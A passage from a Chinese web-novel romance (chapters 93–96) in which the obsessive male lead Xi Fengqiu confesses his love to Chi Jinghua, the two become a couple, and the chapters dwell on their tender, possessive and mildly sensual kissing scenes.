还没走出两步,池镜花只觉得有人勾住她的衣袖一隅,一抬头,奚逢秋人已站在他跟前。 一片阴影笼罩着她,彻底拦住她的去路。 池镜花疑惑仰起头,在与他不足三十公分的距离,她清楚地看见对方被夜里露水打湿的睫毛轻轻低垂,正微微颤抖着。 简直与梦里的模样高度重合。 偏偏他的声音也如梦境里那般,无助又充满妒火。 “是要去找吴清泽吗?” 池镜花只觉得头更疼了,貌似也不全是梦境的副作用。 她点点头,轻“嗯”一声,不忘在他破碎的心上火上加油。 “我答应过他今天要去的。” 答应他…… 奚逢秋神情一怔,蓦地想起什么。 因渴望见到她的愿望被满足时过于喜悦,他下意识地把这件事抛之脑后。 他们之前有过约定,池镜花要去找吴清泽的。 而且,她说过,再也不会跟他独处、与他亲近。 究竟为何会这般? 不对不对不对。 不应该这样。 她身边的位置应该只能是他的,不管她要做什么,他都可以替她办好,他可以代替任何人任何事,满足她的一切。 更重要的是,池镜花答应过他,会永远陪在他身边。 她又骗人了。 为何她可以在过去与他交好,却唯独现在对他视而不见、退他万丈? 不过他不怪她了。 都是他们不好,他们都该死。 他就应该把围在她四周的其他人都杀了,让她身边只有他一人,抱着她的躯体在冰天雪地里取暖,贪慕抚摸她肌肤的温度。 可是池镜花不让他这么做。 因为会别人死了她会伤心难过吗? 若是呼吸滞涩、心中酸楚、行为失控……便是伤心的话。 那他现在就挺伤心的。 赵星澜说,因为他喜欢她,他爱她,所以他的眼里才会只能看得见她,情绪自然因她而波动起伏。 可什么喜欢?什么是爱? 他不懂,因为夫子没有跟他说过。 爱…… 他开始回忆这个词语离自己最近的时刻。 对了,母亲是有爱的。 因为母亲告诉他,他的名字由父亲而来,因她与父亲在秋日相遇,所以取名“逢秋”,而且,他眉宇间与跟父亲更像。 那时,小小年纪的他是可以从母亲的话语中感受到母亲对父亲的爱,可后来……后来是怎么回事? 哦,对了,因为母亲愈发疯癫,她用尽一切办法只为将热爱自由的父亲锁在自己身边,为此,她十分乐意把他打造成这世上最趁手的锁链。 可最终,母亲的小心思还是被父亲知道了,父亲不再心疼他,也不想再见他,觉得他是个不会思考没有情感的怪物。 他不明白。 是什么时候哪些事情偷走他的痛觉,消磨他的情绪,吞噬他的情感,令他仅剩个空洞的躯壳。 最后,由于没用,他被母亲舍弃。 母亲有爱,但似乎,母亲的“爱”从未为他驻足。 那他要怎么做? 他到底应该怎样做才能不被池镜花抛弃,让她永远留在自己身边,给予他一点可怜的爱。 母亲觉得他无用便将他就抛弃,所以,是否对她来说,只要自己有用就可以了? 可他剩下什么,他还剩下什么…… 一双用来触碰她的双手,两只注视她的眼睛,和永远都在渴求她的躯壳。 除此以外,他什么也没有。 那就将自己仅剩的一切全部奉给她,不知能否满足他的心愿——进入她的身体,与她融为一体。 或许,他应该剖开她的身躯,撕开她的皮囊,剔掉她多余的血肉,再严丝合缝地抱着她的骨骼,在她的心脏浇筑上自己滚烫的鲜血,用自己最后的的血肉滋养她,与她一道在棺材里腐烂死去。 “一定要去吗?” 他微微笑着,声音也温柔到极致,可微微上扬的语调却彰显出他平静外表下内心涌动的疯狂。 下一刻,池镜花忍不住打了个冷颤,只觉得毛骨悚然。 杀意……?? 不对。 是爱意! 池镜花虽然怕他做出极端的事情,可从他这明显的破防层面来看,他分明是混淆了爱欲与杀欲。 所以,即便他表面看上去一副要杀她的样子,但追其根本就是在求爱。 不过,此情此景倒令池镜花想起一件发生在邑水村的事情。 她记得奚逢秋在竹林里问过她,若是遇到危险怎么办,她给出的回答是“跑”,可这个问题还有另一层隐藏疑问:若他要杀她该如何? 答案还是不变。 ——跑。 说实在的,池镜花现在一点也不想跑,因为她无比确信奚逢秋根本下不去手,只是不知为何,突然很想验证一件事。 若她真当他的面跑了,他究竟会作何反应。 她完全猜不到。 也许正因为她对结果的不确定性,池镜花情绪莫名兴奋。 她微微睁大双眼,神色惧怕,踮着脚退后一步,故意做出想要躲回屋子里的模样,同时也在偷偷观察奚逢秋的情绪变化。 什么也没看清。 比她动作更快的是少年的拥抱。 裹挟着淡淡清香,几乎朝她飞扑而来,池镜花差点一个没站稳后脑勺着地,不过在此之前,就被眼前之人狠狠按在怀侧。 刹那间,少年丢盔弃甲,兵败如山倒。 他心中那点仅剩的可怜杀意彻底消失,余下一片汪洋爱欲,甘心溺死其中。 他不愿看她露出一丁点儿惧怕自己的神情,更不愿见她因此疏远自己。 他突然明白,在他与池镜花之间,吴清泽不过是个无足轻重的小插曲,他真正在意的只有池镜花本身。 所以,只 有她主动把他推开的杀伤力最大。 奚逢秋双臂紧紧地环住她,不让她离自己分毫,又将自己的脑袋彻底埋进她的颈窝,长久积攒在心底酸涩苦楚轰然炸裂。 当全身泡在这种情绪中找不到突破口时,他紧贴着池镜花的身躯在不停颤抖,犹如飓风中的蝴蝶,声音的哭腔也很明显。 可他从来不知道自己还会落泪,就像他不知道自己还有爱人的能力一样。 “池镜花,我爱你,可你为什么不能爱我?” “你为什么不教教我怎样才能让你爱我一点点?” 第93章 第93章原来两情相悦叫情侣啊。…… 【男配好感度+10,当前好感度:80/100】 当系统音提示音响起时,池镜花整被他抱在怀里不得动弹。 冷风猎猎地卷动交叠的衣袂,冬日初升的暖阳倾洒二人之间,地面上两道模糊的人影趋于重合。 池镜花仰头望着天边云彩,敏感脆弱的颈间传来少年炽热的呼吸。 她脑瓜子嗡嗡作响,满脑子想的都是男配跟她表白了,他真的说喜欢她…… 不对,是爱她。 他对自己的感情直接从“喜欢”过渡到了“爱”。 池镜花从没想过会“爱”这个字眼会这么快从他口中说出,可一想到他对情感的认知本就不正常,就容易理解得多。 不被他理解的时候是喜欢,可这种心情一旦被他察觉,顷刻间便化为这世间最浓烈的爱。 当然,他的爱跟旁人截然不同,就如同方才那般,当爱欲到达顶峰,杀意也随之浮现。 拥有这种偏执心理,后期出现极端行为的可能性很大,虽然池镜花不认为他会伤害她,可就算伤害他自己也不行! 但他爱她…… 光是这点就足以令池镜花招架不住。 少女无意识地抓住他的衣裳,指尖一点点攥紧,双臂渐渐收紧,直到完全抱住他的,身体力行地给予他应有的回应。 跟以前一样主动靠近自己时,奚逢秋却略微收敛力气,稍稍松开她,垂眸与她对视。 少年根根睫羽湿漉漉的,眼角泛着可怜的红意,脸颊苍白如纸,低声下气讨好般的在她面前一次次求爱。 “池镜花,我爱你。” 听到他这般诚心诚意的表白,池镜花的心脏莫名被什么刺了一下。 酸酸的,疼疼的。 “嗯,我知道……” 她无意识地点头又低头,心里忍不住诟病自己。 她可真坏。 为了逼他认清自己的心意,居然来回玩弄他的感情。 没等她反思完自己近期的恶劣行径,脸颊忽然一凉。 是奚逢秋双手轻轻捧起她的面颊,翻涌出欲望的漂亮双眸倒映出她此时此刻的神情。 有点难为情。 她极力克制住想要躲避对方视线的心情,视线一眨不眨地望着他,见他眼睫颤动,毫无血色的唇瓣一张一合,低声吐露的每一个字,无不夹带下位者的祈求。 “我要怎么做?你教教我,我要怎么做,你才会爱我?” “你不需要做什么。” 池镜花小幅度地轻轻摇头,打从心底不愿再见他为自己这般无所适从、失魂落魄,决定也要跟他袒露心迹。 “奚逢秋,我也喜欢你。” 她没有谈过恋爱,更没有跟异性表过白,刹那间,双颊温度迅速攀升,整个人犹如泡在火罐里,哪怕外界温度再低,可她的躯体很热。 比起这个,她更在乎另一件事。 她这样回答是为了攻略他吗?还是为了回去? 池镜花认真思考得出结论——都不是。 她就是无法克制地为他心动,她喜欢他,在他还没意识到对她的情感以前就已经喜欢上他。 她喜欢他古怪的癖好,喜欢他时不时温柔的诱哄,喜欢他粘稠的视线,喜欢他的黏人…… 可这种喜欢跟奚逢秋唯她至上的爱不太一样。 或许因为她是正常人,行为更加理智,思考问题不会那么极端。 不管怎样,她喜欢他的心情不曾更改。 又怕他疑心病太重,池镜花垫脚按住他的脸颊,神情认真坚定地重复好几遍。 “没有骗你,我是真的真的真的很喜欢你。” 之所以没有主动跟他表白,逼他直面内心感情,也是想让他明白一个简单的道理。 他们在一起必定由于喜欢彼此,而不是已经在一起所以才认为这种行为就是喜欢。 看似一样,实则差之毫厘失之千里。 池镜花紧张地抿唇。 没有任何恋爱经验的人,一旦开始面对真心喜欢的对方,并在已经互通心意的情况下,胆子就会瞬间变大无数倍。 池镜花也不例外。 她仰起头,垂落的乌黑发丝在冷风中飘扬。 少女眨了一下眼睛,下了莫大的决心,下一刻,她毫不遮掩地表露自己坦诚而热烈的感情。 “奚逢秋,我想跟你在一起,我想和你成为情侣。” 奚逢秋似完全没想到她会这般说,神色微怔。 金色的日光逐渐颈侧攀上他的颈侧,投下的模糊树影在风中轻轻摇曳。 少年骤然轻声笑了一下,长久盘踞在面上阴霾和失落不再,唯有泛红的眼角证明方才发生过什么。 他指尖轻柔地抚摸她的头发,只要一想到她说也喜欢他一事,空荡疮痍的内心稍微得到满足,唇角止不住地扬起。 “原来两情相悦叫情侣啊。” 池镜花只当他见识少,没听说这么现代化的词语,可是,他的关注点是不是跑偏了? 但他看上去很高兴,空闲的另一只手搂在她的腰际,以防止她再次离开他。 池镜花简直哭笑不得。 为让他放心,她索性继续往前,双手亲密地环住他的脖颈,以自身的滚烫完全贴着他的,用实际行动表明她人就在这。 就差把自己做成挂件,日夜伴他左右。 当少女蓦然朝他靠近时,分明跟以前一样,又很不一样。 这种感觉很奇怪。 比先前所有更让他愉悦。 是因为池镜花他们称为“情侣”,认定了彼此间的亲密关系吗? 那她是否还会守约,一直陪在自己身边呢? 奚逢秋单手覆上她的脸颊,微凉的掌心蹭着她灼热的肌肤,含笑的眸底浮出显而易见的醋意。 “不会再去找吴清泽了,对吗?” 看得出来,哪怕她已将他二人的恋爱关系盖章,但他依旧还很在意吴清泽。 在与他的恋情中,完全具有排他性和独占性。 好吧。 怪她怪她怪她,给他下的料太猛了。 池镜花抬手摸上他的指尖,与她的冰凉 相比,自己的体温实在过于异常。 “嗯,我头疼……” 不是因为做梦的后遗症,她好像真的生病发烧了,自然也就去不成书房。 但鸽人毕竟不太礼貌,就在她思考该如何是好的时候,抬眸看见奚逢秋露出担心的表情。 “很难受吗?” 少年声音在颤抖,仿佛生病的是他而不是池镜花,与此同时,他的指尖在她脸颊和颈间的肌肤不断游走,试图探查她的体温。 池镜花被他手指抚弄得很痒,直接一把牢牢攥住,制止他的胡作非为。 “我没事,睡一觉就好了,但得麻烦你帮我跑个腿,跟少庄主说一声。” 听说又要与她分别,少年神情无辜地眨眨眼睛,虽然这招对旁人不太管用,但池镜花貌似喜欢他这样。 “让小白去不可以吗?” 连语调都透着几分纯良天真。 很好。 除了利用白鹤视野共享,他又开发出白鹤的第二条用法。 “好好好。” 就当是补偿他这两天受得罪,池镜花望着他,总是忍不住露出笑意。 交代完小白去找吴清泽解释原因,池镜花二话不说地拉过他的手,把他拖进屋内,关上房门。 待她转过身,看见奚逢秋已乖巧坐在床边等她,莫名像一位独守空房多日,却一直保持耐心等待妻子回归毫无怨言的贴心丈夫。 想到这,池镜花不禁笑出声。 望着坐在自己身侧的少女,奚逢秋微微偏过头,当窗外日光照在床边偏偏爬上他的袍角,少年极其漂亮的眉宇间透着几分不解。 “怎么了?” 虽然他们已确定情侣关系,但池镜花依旧保有羞耻心,实在不好直说她方才把他看成怨夫了。 她轻轻地摇摇头,避重就轻地回道:“没什么,你要跟我一起吗?” 所谓“一起”自然是指一起睡觉。 他凝视着她,微微歪了歪脑袋,当耳铛摇曳,悠悠荡过颈侧时,露出个温润如玉的笑。 “可以吗?” 什么可不可以,又不是没有过,他们过去还天天睡一块呢,怎么确定关系以后反而还更有分寸感了? 这可不对。 池镜花咬唇没有作答,而是低头迅速褪去自己的外衫,又三下两除二地解开他的腰带,扒掉他的衣服,拽他一起往被子里钻。 才不理会他那莫名其妙的分寸感。 可在与他一道躺下后,池镜花刚碰到他的手指,便被他拥入怀中。 他抱得很紧,似要把她揉进骨血里。 池镜花恍然大悟。 什么分寸感,根本就是在等她主动送上门。 若不是实在没什么精力,她一定要好好跟他掰扯掰扯。 但是算了。 她也挺享受的。 在闭眼的前一秒,她甚至还在想:人类的感冒风寒应该不会传给他吧? 最好不要。 她不想再看见他难受了。 奚逢秋现在一点也不难受。 当少女入睡以后,耳边响起的浅浅呼吸声、平缓的心跳声、汩汩的血流声……已让他无法再思考除了她以外的任何事情。 他的他的他的他的他的他的他的他的他的他的他的他的他的他的他的他的他的他的他的他的! 她是他的。 只能是他一个人的。 他的血、他的肉、他的骨,都只为她而存在。 他努力克制很久,可被这强烈的情感全部思绪时,他无法抑制开始行动。 他翻身而起,不完全地压在她身上。 虽然清楚在她睡着以后做这些事可能会让她生气,可指尖还是鬼使神差般的探出,贪恋地抚摸她灼热的肌肤,内心深处无比渴望着她。 少女睫羽颤了几颤。 他开始将脑袋埋进她怀里,用脸颊去蹭她的心口,去嗅她身上的香甜气息。 不久,池镜花就被吵醒了。 察觉胸口传来的异动,本想问他在做什么,可话到嘴边,看见他隔着衣裳轻轻蹭自己心口的行为,不禁抱住他的脑袋,忍不住笑出声。 “奚逢秋,你是小狗吗?” 狗? 听见声音的奚逢秋微微抬头。 当眼底倒映出少女潮红的脸颊,感受到施加在后脑的指尖力气,他明白了——她喜欢小狗。 那他就可以是。 “汪!” 第94章 第94章不要折腾病人! 当他在自己面前学狗叫了一声后,池镜花心脏突然漏跳半拍,就像是被毛绒绒的猫爪挠了一下。 该说不说,他实在太会拿捏她的喜好。 池镜花被他这一声“汪”弄得心里很痒,羞耻心大爆发,索性准备别过脸不去看他。 不料她正要偏头时,奚逢秋忽然双手捧住她的脸颊,像是提前预判到她的想法,故制止她的逃脱行为。 当冰凉的掌心覆上自己滚烫的双颊,池镜花不禁打了个冷颤,十指紧紧抓住他的脸颊,莫名有些紧张。 “做、做什么?” 少年指腹轻轻捧着她的脸颊,指尖若有似无地游走在她肌肤上,最后,指腹轻轻按住她的唇瓣,摩挲了两下,很快泛起一片红意。 他看上去很高兴的样子。 池镜花仍旧不明白他想做什么,眨了两下眼睛,正要开口询问,却被他的话语拦在半截。 “你亲口说的,你喜欢我,对吗?” 哪怕他已亲耳听到自己的表白,却因没有安全感而不得不向她反复确认。 对此,池镜花毫不犹豫地轻轻点头。 “嗯,对。” 见状,浮在少年眉宇间的温柔笑意更加明显,指尖又轻按了一下她的柔软唇瓣。 眨眼间,池镜花只觉得落下一道靡靡蛊惑之音。 “那说喜欢我……” 看来光承认喜欢她远远不够,她还得一遍遍地跟他表白。 怎么会这样没有安全感呢! 池镜花轻叹口气,拿开他的手指。 “喜欢你,喜欢你,我最喜欢你了!” 她一口气说完,却见奚逢秋垂眸温柔地望着她,低声笑了出来。 因过度兴奋而得到满足,他的身躯止不住地微微颤抖,墨发悄然从耳侧滑落,贴上她的面颊,又冰又凉,当她试图抹去这股异样时,发丝便落在枕上,抵死般纠缠着她的。 池镜花对此毫无察觉,她只能看见他离自己越来越近,直至额头抵上她的。 她避无可避地与他对上视线,再次瞧见他眼底涌动的强烈情愫。 行为和想法分明极度具有占有欲,只恨不得拿条链子把她拴在自己身边,可却像小狗一样总在讨好她。 “我想要你的爱,池镜花,我只需要你的爱。” 他从未像此刻这般渴望得到她全部的爱,渴望不被她抛弃,渴望她永远陪在自己身边,再无他人打扰。 “所以,你喜欢什么,我就可以成为什么,我会保护你,会替你做任何事,但是,你只能有我一个人,可以吗?” 池镜花真的要被他给说笑了。 她当然只会有他一个人,难不成还想有三妻四妾吗? “奚逢秋,你是不是误会了,我只喜欢你,就算别人再好那也与我无关,我当然只会有你一个人。” 她神情坚定,一字一句说得认真,完全没有说谎的迹象。 奚逢秋睫羽轻颤,得到满意的回答,唇角不自觉漾出出个笑,眼底浮出偏执的情绪。 “池镜花,你的嘴里只能出现我的名字,你的眼里只有出现我的身影,每时每刻,我都会看着你……” 等等,什么玩意儿? 他分明只有说有他一个人,没说这回事啊! 好吧。 他的脑回路实在与众不同。 池镜花眼神心虚地乱瞟,就是不敢与他对视。 不知是不是被他察觉到什么,蓦然间,他以指尖轻轻撩开黏在她侧脸的一缕湿发。 温柔得不像话。 池镜花慢慢睁大眼睛,看见他唇瓣一张一合,没说她故意不回应一事,而是语调轻慢地阐述另一件铁一般的事实。 “你 流汗了。” “……” 啊啊啊啊啊啊啊!!!! 她羞耻到简直想把自己塞进地洞里,然后用水泥封住洞口。 “这个是因为……” 这个是因为,他方才在她身上胡乱地蹭,虽然她处于睡梦中,可身体又不是死的,自然会有生理反应。 即便人之常情,可她从未有过此经历。 刹那间,池镜花体温迅速升高,心虚地眼神四处瞟,当瞳孔向下,无意瞥见心口凌乱不整的衣衫,顿时,血液倒流,她整个人都晕乎乎的。 他们不是没有亲近过,奚逢秋也曾抱住她亲吻她的颈侧,但从未叫她如今日这般动情。 一时分不清到底是谁在攻略谁。 池镜花咬着唇瓣,眼珠微微转动,很快搜肠刮肚个合理的借口。 “是因为快好了,对,是因为我的病快好了,不知道你有没有听说过,遇上感冒发烧,只需要睡一觉出点汗就好了。” 池镜花一通乱解释,语毕,颤颤掀开湿润的长睫,不想一抬眸,与他四目相对,看见他眸底盈着淡淡的笑,似乎对她所说的话不疑有他。 “原来是这样。” 见她如此相信自己,池镜花更不敢看他了,索性抱着他,把整个脑袋埋进他怀里,不愿让他看见自己此时此刻的囧样。 “是我让你生病了吗?” 少年蓦然开口,语气夹杂着愧疚。 池镜花没反应过来,猝然抬头,“什么?” 他望她的眼神里充满怜爱,“我总让小白站在窗户边上看你,是因为这个吗?” 池镜花拼命摇头,“其实也不全是因为这个,冬天本就容易感冒发烧,况且,我现在已经快好了,没事,真的没事。” 虽然她生病跟他脱不了干系,可池镜花不想他那么愧疚。 她索性安抚地抱住他,以降低他内心的愧疚感。 奈何还没冷静片刻,池镜花只觉得搂着她腰部的双手力气逐渐加重,一个没留神,把她抱起压在他的身上。 意识到他想做什么,又或者是她想,但眼下实在不合适,池镜花几乎本能反应地拒绝。 “等一下,不要折腾病人!” 但迟了,话音落地前,她已压在他身上。 角色身份完全互换。 还是奚逢秋所喜欢的那般。 少年怀抱着她,一手轻轻按住她的脖颈,将她的脸颊,贴在自己的心口,捋了下黏湿的头发,确保不会遮挡她的视线。 “没想折腾你,我只是想让你的体温快点降下来。” 他的声音很轻,身体也凉,呼吸异常平稳。 看着跟平常没什么不同,还是上好的降温冰块。 所以,他没想跟她亲近,是她想歪了! 池镜花尴尬得脚指抓地,低着头,身体完全贴着他的,无声地与他交换体温。 四周寂静,睡一觉醒来也不知是何时辰,只有微风吹动床幔,地面的影子在摇曳。 池镜花很快意识到一件事——若他跟平常无异的话,岂不说明动情的只有她一人? 啊??? 许是该死的胜负心作祟,下一刻,池镜花脑子一热,鬼使神差坐起,慢慢探出手指,无所顾忌地去扒他胸口的衣裳。 跟随她的动作,奚逢秋缓慢坐起。 他望着坐在自己腰间的少女正垂着脑袋,专心致志地在他身上瞎鼓捣,于是轻轻抓住她的手指。 “是要解我的衣裳吗?” 池镜花头也不抬地拍了下他的指尖。 “你别动,我自己来!” 她并非要他全脱,不过气不过动情的只她一人,所以想要把他的衣裳弄得与她一般乱。 在她的一顿操作下,池镜花一垂眸,隐隐可见其单薄衣料下的漂亮锁骨。 她一咬牙心一横,双手勾住他的脖颈,倾身吻在他的颈侧。 当少女齿间香甜气息如数洒在他的颈间,奚逢秋呼吸一滞,随她停留的时间越长,喘息声越来越急促,指尖已不自觉地抚摸她的后脑,紧紧搂住她。 见他克制不住逐渐情动,池镜花更加用力地抱着他,得意地继续往下亲吻。 以前,只有他这般亲吻过自己,如今换池镜花服务他,业务不太熟练,只能用唇去触碰他,在他颈侧和耳后胡乱地亲。 毫无章法。 少年仰着头任由她胡作非为,渐渐地,被压制的情欲重新缠上他,眼底雾气氤氲,体温逐渐攀升,平静的情绪陷入极度兴奋,身体止不住地颤抖。 他开始呼唤她的姓名。 池镜花无暇回应,只好攥紧他的衣裳。 当持续往下,吻上他的锁骨时,池镜花睁眼看见那道眼熟的痕迹,毫不犹豫地探出舌尖舔舐了下,轻轻地亲她留下的齿痕。 他锁骨的伤口还未痊愈。 奚逢秋也不清楚为何这样,但当池镜花二度亲上锁骨时,口腔的湿热瞬间打在伤口,许久未曾感受到的疼痛蔓延至四肢百骸。 比过去所有都要剧烈。 他的呼吸又重又急,已分不清究竟是因为亲吻还是疼痛,但无疑皆因池镜花。 他完完全全地把人圈在怀里,即便她前几次没有理会自己,亦无法克制地向她一遍遍诉说着本能的渴望。 “池镜花,池镜花,池镜花,池镜花……” 池镜花猛然意识回笼。 和奚逢秋亲她时截然不同,他会怕她不舒服,只小心翼翼地试探,可池镜花下嘴没个轻重,才过去几分钟,就在他的颈侧和锁骨留下无数痕迹。 凌乱又扎眼。 还沾着点莫名的水迹。 完了,她真成流氓了! 怎么都生病了还能整这出呢! 池镜花十分痛恨自己在面对他时,永远都把持不住。 “我、我、我不是……” 池镜花红着脸解释半天却说不出个所以然,她微微湿润的眼睛在到处乱看,可所见之处无不皆是他肌肤上的红色吻痕。 刹那间,大脑失去思考能力。 池镜花赶紧推开他,从他身上爬起来,打算先离他远点,好好冷静一番。 不想她甫一起身,还没来得及下床,只觉得脚踝一凉。 池镜花迅速转过头,看见奚逢秋已抓着她的脚踝,在自己情难自抑最为动情时,祈求她不要离开,并且第一次向她表达着最为直白的言语。 “我想吻你……” 第95章 第95章我让你满意了吗? 正午的温暖日光透过窗户照进屋内,两人的外衣被随意地扔在地上,床幔飘动的影子与地面衣裳的模糊阴影逐渐交叠。 在这一方狭小的天地内,两人间的气氛不断暧昧旖旎,四周温度渐渐攀升,迅速映上她的双颊,让本就滚烫的肌肤置于火烤一般。 池镜花脚踝被他抚弄得很痒。 她盯了盯他泛白的指尖,想叫他松手别乱摸,不料一抬眸,忽而发现对方身形已经逼近。 清冽的香气迫近,少年的身影化为漆黑的牢笼,把她完全笼罩,迫使她只能看见面对面之人,和少年眼底流露的莫名情愫。 池镜花顿时忘记自己的右脚踝还在他手里握着,满脑子只剩下他说想吻自己一事。 ……这好像还是他第一次如此直白。 虽然挺让她高兴的,可时机点选的不太对。 当视线里出现自己在他肌肤留下的吻痕,池镜花心里只剩无穷无尽的羞耻,就连说起话来也结结巴巴的。 “我们不是才、才、才亲过!” 他的另一只手轻柔地抚上她的面颊,微凉的指尖一点点汲取她身体的热意,想让她迅速冷静下来。 物理降温确实让池镜花好了很多。 察觉她的呼吸和心跳渐趋平稳后,他指尖缓慢移动,细细摩挲她红润的唇瓣,语气夹杂微不可察的叹息。 “可方才只是你亲我,我却没有亲你。” ……这有区别吗? 不都是亲? 池镜花疑惑地眨了两下眼睛,本想以生病为由拒绝,可转念一想:若是他主动点的话也并非不可以。 可又怕他想让自己主动,在此之前,池镜花必须得到他的肯定答复。 “是你主动亲我吗?” 少年点头轻轻应声,鸦青色的眼睫一颤,低声从喉咙慢慢溢出。 “嗯,我想吻你……” 好吧。 听他这般说,池镜花确实挺爽的。 她指尖一颤,十指慢慢勾住他的脖颈,凑到他跟前,重新坐回他腿上,闭上眼睛不敢瞧他。 虽未说一字,可已用实际行动表明她已同意他的想法。 奚逢秋望着她凑近的行为不禁轻笑一声。 他一点点松开禁锢她脚踝的五指,转而握住她的腰肢,空余的另一只手则捧住她的脸,俯身慢慢凑近。 感受到他呼出的气息如鬼魅缠在她的唇边,悄无声息地吞噬她的周围的凉意。 虽然与他亲过很多次,可池镜花还会莫名紧张,刚刚平复的心跳再次因他而止不住地狂跳。 池镜花耐心闭眼等了很久,甚至于听见他的心跳加快,剧烈的心跳声已完全盖住她的。 但吻迟迟没有落下。 怎么回事? 他是不会?还是后悔了? 池镜花满腹疑问,长睫颤了几颤,拼命忍住想要睁眼探寻真相的冲动。 不想下一刻,她寂静的耳畔忽然响起一道缠绵暧昧的泠泠嗓音。 “睁开眼睛。” 似在刻意引诱她。 池镜花心间猛地一颤,颤抖地睁开眸子 ,还没看清眼前景象,他的额头便兀自贴了上来,就这样遮住她的全部视线,令她眼里只看得见自己。 少女下意识地后撤,后脑却被他先一步用手指抵住。 这个动作,导致她不管瞳孔往哪个方向转都只能看奚逢秋的五官,再往下点就是他颈间的深色吻痕。 池镜花眼睛不敢乱瞟,只直直地盯着他的眼睛。 蓝色的眼睛,像海水一样,而眼底翻涌的情绪像是玷污了他似的。 仔细想想,确实是池镜花一步步努力把他拉到她的身边,给在男女之事上一窍不通的奚逢秋染上属于自己的色彩。 等等,好像不止男女之事,他甚至对其他事情的理解也奇奇怪怪…… 没等池镜花想明白,耳边骤然又响起他的声音,极具占有欲和侵略性,却又尽显克制下的温柔底色。 “现在在看着我吗?” 池镜花回过神,飘忽不定的视线重新落定他的双眼,在他眼底什么也没看见,只有她自己。 “嗯,在。” 少年握住她腰肢的五指施加些许力气,手臂紧紧环住她的。 当两具滚烫的躯体紧密相连,存在于二人之间的最后一丝狭窄缝隙被彻底驱逐,落在地面上的人影已重合成一个人。 奚逢秋以探究的神情观察她的眼睛。 即便他已完全占据她的视线,可以探知到她的呼吸心跳,可不知为何,他的内心总是得不到满足,而且害怕。 他怕她离开,怕她不再喜欢他,怕她不愿再亲他。 虽然他可以用各种手段把她强行留在自己身边,甚至于还可以把她杀了,将她强行融于自己的血肉中。 可当她心里不再接受他,哪怕是对他产生一丁点儿抵抗的情绪,这些行为便再也无法取悦到他,只会令他失控。 所以,他才会一遍遍询问她的心意,占满她身边的所有位置,窥探她的一举一动,渴望她全部的爱意,要她的身体、思想全部属于他一人。 “只能看见我吗?” 他的声音很轻,像微风轻轻撩过她的耳廓。 池镜花不停轻轻点头,“嗯,只能看见你。” 她虽然一直配合回答他的问题,可心里却怎么也想不明白。 为什么只是亲一下,他怎么有这么多话要说! 那以后跟他做更亲密的事情的时候,他岂不是要变话痨? 池镜花在心里默默叹气,但丝毫不影响她想要满足他的心情。 少女的回复如同饮鸩止渴,可暂时让他忘记弥漫在心底的不安。 “池镜花……” 他轻声唤她姓名,接着,撩开她耳鬓黏湿的发丝,低头俯身,虔诚地吻上她的唇角。 没有一点点提醒,在他吻上时,池镜花眼睛还是睁着的。 少女因过度震惊瞳孔慢慢放大,眼神向下瞟时看见两人相抵的唇角,视觉冲击太强,吓得她赶紧闭眼。 可唇角对奚逢秋来说远远不够,他试着一点点移动,直至完全覆上她的唇瓣。 池镜花浑身一凛,四肢不自觉地圈紧他的身体,指尖猛地一抓,只捞到他凌乱的衣衫,还有几缕发丝,皆被她死死攥在手里。 今日天气很好,气温短暂回暖,从窗外吹进的轻轻掀开半遮的床幔,映出床上两道缠绕在一起的身躯。 吻上去以后,奚逢秋在她的唇上停顿几秒,因实在缺乏这方面的知识,只能像小狗一样在她唇瓣上滞涩地舔舐描摹。 ……哎,看样子真的一点也不会啊。 刚才分明挺会讨她欢心的,怎么一到这种时候比她还要笨拙。 可要他主动亲她已是十分难得,想到这点的池镜花索性微微张开嘴巴,探出舌尖,让他快速轻轻含住。 当她主动奉上这些时,少年立马勾缠住她的舌尖,回想她之前亲自己时候的举动,开始学着取悦她,也渴望向她索求这片刻的欢愉。 舌尖相抵的平衡局面很快被打破,他们不断地搜刮、吞吐、交换。 滞留在四周的气温迅速攀升,完全不透风的透明薄膜,将二人包裹其中。 不得不说,虽然他吻得十分生疏,偶尔牙齿还会碰到她的唇瓣,可池镜花却首次体会到被服务的快感。 在与他的几分钟亲密接触中,池镜花被亲得晕头转向。 当池镜花体内的情欲再度被挑起时,她无法自抑地手指用力一拽,不想忘记手里还抓着他的头发。 感受到发间传来的拉扯,虽然不疼,可却叫奚逢秋情不自禁颤抖地睁开双眸。 少年睫羽早就被雾气遇冷化成的水汽打湿,他微微垂眸盯着少女潮红的面颊,不知想到什么,五指悄悄插进她的发间。 池镜花本还担心自己会不会伤到他,但见他没有停止追逐她的唇舌,稍稍松口气。 下一秒,她却忽觉发丝传来异样。 奚逢秋的手指正自由穿插在她的发间,很快摸到发带所在位置,轻轻一扯,顿时,三千乌黑发丝倾泻而下。 怎、怎么回事? 池镜花猛然睁眼,眨巴眨巴眼睛,在逼退眼底的水雾后,看见他面庞浮出的情欲更甚。 他已经不再止步于亲吻,他开始轻柔抚摸她的头发、她的脸颊、她的颈侧,并且零零碎碎的吻随之来到她的颈间。 他似乎已彻底陷入难挡的情潮当中。 池镜花抱住他,咬紧牙关,却在他的抚摸和亲吻下浑身瘫软,脚趾忍不住紧张蜷缩,指尖想要抓他的后背,却只能抓到衣裳,被她握得皱巴不成型。 不多时,他又开始舔舐她柔软的耳垂。 奚逢秋清楚,这里是她的敏感点。 事实也确实如此。 当湿热的气息缠上软肉的瞬间,微倾冰冷耳铛也贴上她几近半|裸的肩胛。 池镜花犹如被电流击中,她浑身一哆嗦,衣衫彻底被汗水浸透,无数发丝黏在她的肌肤上,再也抑制不住地仰着头,从喉咙深处溢出一道破碎的呻吟。 “等等!很痒……” 她抵不住这种强烈的刺激,开始无力地推搡他。 察觉到她流露出的抗拒情绪,奚逢秋本能停下望她。 少年眨了一下眼睛,湿漉漉的睫毛扫过下眼睑,眼底倒映出少女殷红的唇瓣,还有她颈侧耳后的淡淡吻痕。 像是被这些痕迹取悦到,他温柔地捧起正喘着粗气平复心跳的少女双颊,湿润的眸底含着清浅的笑。 他一眨不眨地盯着她的双眼,语调微微上扬,满是克制不住的兴奋。 “我让你满意了吗?” “……” 何止满意啊,简直满意过了头! 再任由他继续下去,他们身上的最后一件遮羞布就该被扯下了! 很好。 不能再让他继续进步下去了。 池镜花心跳尚未恢复正常,却又一次在心里无声叹气。 “以后这种事情还是我来吧。” 第96章 第96章你喜欢我哪里? 翌日清晨,夹杂冷意的阳光自窗户照进屋内,逐渐驱散黎明前的最后一丝黑暗。 休息一整天,池镜花彻底恢复精神。 她眨眨眼,从床上坐起,下意识扭头望向身侧。 